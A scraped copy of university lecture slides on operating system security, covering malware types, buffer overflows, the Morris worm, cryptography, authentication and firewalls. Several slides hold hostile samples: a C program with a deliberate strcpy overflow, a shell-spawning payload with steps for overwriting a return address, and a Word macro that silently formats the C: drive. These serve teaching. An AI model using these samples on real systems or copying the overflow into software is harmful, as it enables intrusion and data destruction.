system security · i security defences i system and network rewalling references i this lecture is...

26
System Security Michael Brockway November 18, 2016

Upload: others

Post on 22-Jun-2020

0 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

System Security

Michael Brockway

November 18, 2016

Page 2: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

Contents

I Security problems and program threats

I System and network threats

I Cryptography as a security tool

I User authentication

I Security defences

I System and network firewalling

References

I This lecture is based on Operating System Concepts (8th Ed),Silberschatz et al, chapter 15. You are recommended to read thischapter of the module textbook.

Page 3: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

Security: the problem

We have to consider the external environment of the system and protectthe system resources.

Intruders (crackers) attempt to breach security.

A threat is potential security violation.

An attack is an attempt to breach security:

I accidental or malicious

It is easier to protect against accidental than malicious misuse.

Page 4: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

Security violations

Categories

I Breach of confidentiality

I Breach of integrity

I Breach of availability

I Theft of service

I Denial of service

Methods

I Masquerading (breach authentication)

I Replay attack (message modification)

I Man-in-the-middle attack

I Session hijacking

Page 5: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

Security measures

Four types are necessary

I Physical

I Human

I against ’social engineering’, ’phishing’, ’dumpster diving’

I Operating system

I Network

Security is as good as the weakest link.

Page 6: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

Program threats (malware)

I Trojan Horse

I Code segment that misuses its environmentI Exploits mechanisms for allowing programs written by users to

be executed by other usersI Spyware, pop-up browser windows, covert channels

I Trap Door

I Specific user identifier or password that circumvents normalsecurity procedures

I could be included in a compiler

I Logic Bomb

I Program that initiates a security incident under certain (logical)circumstances

I Stack and Buffer Overflow

I Exploits a bug in a programI Overflow either the stack or memory buffers

I Viruses and worms

Page 7: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

Buffer overflow in a C program

#include <stdio.h>

#define BUFSZ 256

int main(int argc, char *argv[]) {

char buffer[BUFSZ];

if (argc < 2)

return -1;

else {

strcpy(buffer,argv[1]);

return 0;

}

}

Page 8: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

A stack entry

An entry on the subroutine stack has a layout something like...

return address

saved frame pointer

...

local variables

parameters

’bottom’

’top’

grows

frame pointer

Page 9: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

Malware!

Code to run a command shell ...

#include <stdio.h>

int main(int argc, char *argv[]) {

execvp("/bin/sh","/bin /sh", NULL);

return 0;

}

I Compile this to binary;

I Provide these bytes as input to a program such as the one two slidesago, with suitable padding so that the subroutine stack entry isoverwritten as on the right of the next slide.

Page 10: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

The effect

return address

saved frame pointer

buff[BUFSZ]

...

buff[1]

buff[0]

addr of malware code

fill rest with NO-OPs

malware code

copied!

The stack entry ends up with the contents on the right and ’returns’ tothe address of the modified shell code.

Page 11: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

The effect (ctd)

I It takes a fair amount of trial and error to get the padding right toachieve this;

I but the effect is that a return from subroutine runs the malware.

I in this example, a command shell with same privieges as parentprocess,

I possibly root privieges!

I Another example: seehttp://www.thegeekstuff.com/2013/06/buffer-overflow/

Page 12: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

Viruses

I code fragment embedded in legitimate program

I very specific to CPU architecture, operating system, applications

I usually borne via email or as a macro

I Example: Visual Basic Macro to reformat hard drive -

Sub AutoOpen()

Dim oFS

Set oFS = CreateObject("Scripting.FileSystemObject")

vs = Shell("c:command.com /k format c:",vbHide)

End Sub

Page 13: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

Thousands of viruses ... many categories

I Macro Virus encoded as a macro withing (eg) a Word document;runs when the document is opened

I Source code virus makes modifications to source code; difficult toengineer so rather rare

I Polymorphic virus takes “many forms” - duplicates itself makingmultiple slightly modified copies of itself to avoid detection by ascanner

I Stealth virus uses techniques such as encryption, self-modificatoon(similar to polymorphic)

I Tunnelling virus tries to install itself beneath antivirus software

I Armored virus is “armoured” against tracing, disassembling,reverse-engineering

Page 14: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

Boot sector virus

I On the disk with the boot sector,

I the virus copies the boot sector to an unused location, thenI replaces original boot block with itself.

I At system boot, the virus reports to the OS a decreased amount ofphysical RAM and hides above this limit;

I The virus attaches itself to disk read/write interrupt; monitors diskall activity.

I When a new removable medium is mounted, infects that as well;I It block other process’ attempts to write to the boot sector;I May have a logic bomb to cause mischeif at a later date ...!

Page 15: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

System & Network Threats

I Worms use spawn mechanism; standalone program

I Internet worm

I exploited UNIX networking features (remote access) and bugsin finger and sendmail programs

I Grappling hook program uploaded main worm program

I Port scanning

I Automated attempt to connect to a range of ports on one or arange of IP addresses

I Denial of Service

I Overload the targeted computer preventing it from doing anyuseful work

I Distributed denial-of-service (DDOS) come from multiple sitesat once

Page 16: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

Morris Internet Worm

grappling hook

worm worm

rsh attack

finger attack

sendmail attack

requestfor worm

worm sent

target system infected system

Page 17: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

Cryptography as a security tool

Secure communication over an insecure channel

I Source and destination of messages cannot be trusted withoutcryptography

Four cryptographic assurances -

I Confidentiality: only intended recipient can see the message;

I Authenticity: the message is from whomever it purports to be from;

I Integrity: the message has not been tampered with in transit;

I Non-repudiativity: the sender cannot subsequently deny having sentthe message.

Page 18: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

Cryptography

I Based on encryption and decryption algorithms, which depend onkeys

I Say Ek is an encryption function operating on a string of bytes,dependent on an encryption key k .

I Input a plain-text (a block of bits) message, m

I Output ciphertext c :

I c = Ek(m); or

I mEk7−→ c

I The decryption function D ′k depends on a decryption key k ′.

I This function recovers the plaintext from the ciphertext.I m = Dk′(c); or

I cDk′7−→ m

I NB - Ek and Dk′ are inverse operations.

http://computing.unn.ac.uk/staff/cgmb3/teaching/

cryptography/index_crypto.html

Page 19: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

Public key Cryptographic Assurances

I Confidentiality:

I Sender encrypts his message with recipient’s public key;recipient decrypts with her private key

I Authenticity:

I Sender creates a digital signature his name (for instance)transformed with his private key. sig = Dk′(“Fred ′′)

I This is appended to message before encryption.I Receiver decrypts, extracts sig ;I Receiver checks signature by applying sender’s public key:

Ek(sig) = Ek(Dk′(“Fred ′′)) = “Fred ′′

I Nonrepudiativity:

I Also provided by digital signature: only the sender knows hisprivate key.

Page 20: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

Public key Cryptographic Assurances

I Message integrity assurance is provided by collision-resistanthash-functions

I Hash value of message m is h(m)I Any small local change to m (a few bits) almost certainly

changes h(m)I h designed so it is infeasible to discover m from hash h(m)I (weak) collision resistence: infeasible to contrive a message m

such that h(m) = a predetermined value; or (better):I strong collision resistence: infeasible to contrive a pair of

messages m,m′ such that h(m) = h(m′). Strong collisionresistance protects against birthday attacks.

I Sender encloses hash value with message; receiver checks integrityby computing hash and comparing with enclosed value.

Page 21: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

“Man” in the Middle Attack

I You are going to send your credit card details to a shopping web site...

I How do you know it is genuine?

I A “man in the middle” could pose as the site, publish a counterfeitpublic key and use this to intercept messages...

I usually sending them on to the real site, encrypted with the realpublic key

I Solution: digital certificates

I These are proof of who or what owns a public keyI Public keys are digitally signed a trusted partyI Trusted party receives proof of identification from entity and

certifies that the public key belongs to the entityI Certificate authorities are trusted parties their public keys are

included with web browser distributions; they vouch for otherauthorities via digitally signing their keys (and so on).

Page 22: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

Public v Symmetric Cryptography

I Public key provides all four assurances; key distribution is simple(but watch out for man in the middle)

I BUT algorithms are based on mathematical functions which arecomputationally intensive.

I Symmetric cryptography is based on bit-level transformations

I 1000 X as fast as public keyI BUT does not support non-repudiativity;I AND key disribution and management is unwieldy:

I among n people, n(n − 1) keysI keys proliferate stored on a keyring

I Hybrid solution

I Use public key cryptography between computers to agree asession key;

I Symmetric cryptography with session key used for bulk dataencryption, decryption

I Example: SSL

Page 23: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

Example: SSL

I Insertion of cryptography at one layer of the ISO network model (thetransport layer)

I SSL: Secure Socket Layer (also called TLS)

I Cryptographic protocol that limits two computers to only exchangemessages with each other

I complicated, with many variations

I Used between web servers and browsers for secure communication(credit card numbers)

I The server is verified with a certificate assuring client is talking tocorrect server

I Asymmetric cryptography used to establish a secure session key(symmetric encryption) for bulk of communication during session

I Communication between each computer theb uses symmetric keycryptography

Page 24: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

User Authentication

I Crucial to identify user correctly, as protection systems depend onuser ID

I User identity most often established through passwords

I also can include something user has and /or a user attribute

I Passwords must be kept secret

I Frequent change of passwordsI Use of “non-guessable” passwordsI Log all invalid access attempts

I Passwords may also either be encrypted or allowed to be used onlyonce

Page 25: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

Implementing security defences

I Defence-in-depth is most common security theory multiple layers ofsecurity

I Security policy describes what is being secured

I Vulnerability assessment compares real state of system / networkcompared to security policy

I Intrusion detection tries to detect attempted or successful intrusions:

I Signature-based detection spots known bad patternsI Anomaly detection spots differences from normal behaviorI False-positives and false-negatives a problem

I Virus protection

I Auditing, accounting, and logging of all or specific system ornetwork activities

Page 26: System Security · I Security defences I System and network rewalling References I This lecture is based on Operating System Concepts (8th Ed), Silberschatz et al, chapter 15. You

Firewalling

I A network firewall is placed between trusted and untrusted hosts

I placed on a routerI limits network access between these two security domains

I Can be tunnelled or spoofed

I Tunnelling allows disallowed protocol to travel within allowedprotocol (e.g. telnet inside HTTP)

I Firewall rules are typically based on host name or IP addresswhich can be spoofed

I Personal firewall is a software layer on a given host

I Can monitor and limit traffic to and from the host

I An application proxy firewall understands the application protocoland can control protocol messages (e.g. SMTP)

I A system-call firewall monitors all important system calls and appliesrules to them (e.g. this program can execute that system call)